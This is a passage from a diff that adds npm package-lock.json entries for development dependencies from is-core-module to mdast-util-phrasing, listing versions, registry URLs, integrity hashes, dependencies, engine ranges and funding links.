"sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "engines": { + "node": ">=4" + } + }, + "node_modules/is-core-module": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.12.1.tgz", + "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==", + "dev": true, + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-docker": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz", + "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-inside-container": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz", + "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==", + "dev": true, + "dependencies": { + "is-docker": "^3.0.0" + }, + "bin": { + "is-inside-container": "cli.js" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-interactive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz", + "integrity": "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-reference": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-3.0.1.tgz", + "integrity": "sha512-baJJdQLiYaJdvFbJqXrcGv3WU3QCzBlUcI5QhbesIm6/xPsvmO+2CDoi/GMOFBQEQm+PXkwOPrp9KK5ozZsp2w==", + "dev": true, + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/is-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-3.0.0.tgz", + "integrity": "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-unicode-supported": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz", + "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-wsl/node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/iso-639-1": { + "version": "2.1.15", + "resolved": "https://registry.npmjs.org/iso-639-1/-/iso-639-1-2.1.15.tgz", + "integrity": "sha512-7c7mBznZu2ktfvyT582E2msM+Udc1EjOyhVRE/0ZsjD9LBtWSm23h3PtiRh2a35XoUsTQQjJXaJzuLjXsOdFDg==", + "dev": true, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonc-parser": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-2.3.1.tgz", + "integrity": "sha512-H8jvkz1O50L3dMZCsLqiuB2tA7muqbSg1AtGEkN0leAqGjsUzDJir3Zwr02BhqdcITPg3ei3mZ+HjMocAknhhg==", + "dev": true + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", + "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/load-yaml-file": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/load-yaml-file/-/load-yaml-file-0.2.0.tgz", + "integrity": "sha512-OfCBkGEw4nN6JLtgRidPX6QxjBQGQf72q3si2uvqyFEMbycSFFHwAZeXx6cJgFM9wmLrf9zBwCP3Ivqa+LLZPw==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.5", + "js-yaml": "^3.13.0", + "pify": "^4.0.1", + "strip-bom": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/load-yaml-file/node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/locale-emoji": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/locale-emoji/-/locale-emoji-0.3.0.tgz", + "integrity": "sha512-JGm8+naU49CBDnH1jksS3LecPdfWQLxFgkLN6ZhYONKa850pJ0Xt8DPGJnYK0ZuJI8jTuiDDPCDtSL3nyacXwg==", + "dev": true + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-5.1.0.tgz", + "integrity": "sha512-l0x2DvrW294C9uDCoQe1VSU4gf529FkSZ6leBl4TiqZH/e+0R7hSfHQBNut2mNygDgHwvYHfFLn6Oxb3VWj2rA==", + "dev": true, + "dependencies": { + "chalk": "^5.0.0", + "is-unicode-supported": "^1.1.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.3.0.tgz", + "integrity": "sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==", + "dev": true, + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dev": true, + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/markdown-extensions": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/markdown-extensions/-/markdown-extensions-1.1.1.tgz", + "integrity": "sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/markdown-table": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.3.tgz", + "integrity": "sha512-Z1NL3Tb1M9wH4XESsCDEksWoKTdlUafKc4pt0GRwjUyXaCFZ+dc3g2erqB6zm3szA2IUSi7VnPI+o/9jnxh9hw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/matcher": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", + "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/matcher/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdast-util-definitions": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-5.1.2.tgz", + "integrity": "sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-2.2.2.tgz", + "integrity": "sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace/node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.1.tgz", + "integrity": "sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "mdast-util-to-string": "^3.1.0", + "micromark": "^3.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-decode-string": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-stringify-position": "^3.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-frontmatter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-frontmatter/-/mdast-util-frontmatter-1.0.1.tgz", + "integrity": "sha512-JjA2OjxRqAa8wEG8hloD0uTU0kdn8kbtOWpPP94NBkfAlbxn4S8gCGf/9DwFtEeGPXrDcNXdiDjVaRdUFqYokw==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0", + "micromark-extension-frontmatter": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-2.0.2.tgz", + "integrity": "sha512-qvZ608nBppZ4icQlhQQIAdc6S3Ffj9RGmzwUKUWuEICFnd1LVkN3EktF7ZHAgfcEdvZB5owU9tQgt99e2TlLjg==", + "dev": true, + "dependencies": { + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-gfm-autolink-literal": "^1.0.0", + "mdast-util-gfm-footnote": "^1.0.0", + "mdast-util-gfm-strikethrough": "^1.0.0", + "mdast-util-gfm-table": "^1.0.0", + "mdast-util-gfm-task-list-item": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-1.0.3.tgz", + "integrity": "sha512-My8KJ57FYEy2W2LyNom4n3E7hKTuQk/0SES0u16tjA9Z3oFkF4RrC/hPAPgjlSpezsOvI8ObcXcElo92wn5IGA==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "ccount": "^2.0.0", + "mdast-util-find-and-replace": "^2.0.0", + "micromark-util-character": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-footnote": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-1.0.2.tgz", + "integrity": "sha512-56D19KOGbE00uKVj3sgIykpwKL179QsVFwx/DCW0u/0+URsryacI4MAdNJl0dh+u2PSsD9FtxPFbHCzJ78qJFQ==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0", + "micromark-util-normalize-identifier": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-strikethrough": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-1.0.3.tgz", + "integrity": "sha512-DAPhYzTYrRcXdMjUtUjKvW9z/FNAMTdU0ORyMcbmkwYNbKocDpdk+PX1L1dQgOID/+vVs1uBQ7ElrBQfZ0cuiQ==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-table": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-1.0.7.tgz", + "integrity": "sha512-jjcpmNnQvrmN5Vx7y7lEc2iIOEytYv7rTvu+MeyAsSHTASGCCRA79Igg2uKssgOs1i1po8s3plW0sTu1wkkLGg==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "markdown-table": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-task-list-item": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-1.0.2.tgz", + "integrity": "sha512-PFTA1gzfp1B1UaiJVyhJZA1rm0+Tzn690frc/L8vNX1Jop4STZgOE6bxUhnzdVSB+vm2GU1tIsuQcA9bxTQpMQ==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-2.0.1.tgz", + "integrity": "sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==", + "dev": true, + "dependencies": { + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-mdx-expression": "^1.0.0", + "mdast-util-mdx-jsx": "^2.0.0", + "mdast-util-mdxjs-esm": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-expression": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-1.3.2.tgz", + "integrity": "sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-1.2.0.tgz", + "integrity": "sha512-5+ot/kfxYd3ChgEMwsMUO71oAfYjyRI3pADEK4I7xTmWLGQ8Y7ghm1CG36zUoUvDPxMlIYwQV/9DYHAUWdG4dA==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^0.0.1", + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.0.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-remove-position": "^4.0.0", + "unist-util-stringify-position": "^3.0.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx/node_modules/@types/estree-jsx": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-0.0.1.tgz", + "integrity": "sha512-gcLAYiMfQklDCPjQegGn0TBAn9it05ISEsEhlKQUddIk7o2XDokOcTN7HBO8tznM0D9dGezvHEfRZBfZf6me0A==", + "dev": true, + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/mdast-util-mdx/node_modules/mdast-util-mdx-jsx": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-2.1.4.tgz", + "integrity": "sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "ccount": "^2.0.0", + "mdast-util-from-markdown": "^1.1.0", + "mdast-util-to-markdown": "^1.3.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-remove-position": "^4.0.0", + "unist-util-stringify-position": "^3.0.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdxjs-esm": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-1.3.1.tgz", + "integrity": "sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-3.0.1.tgz", + "integrity": 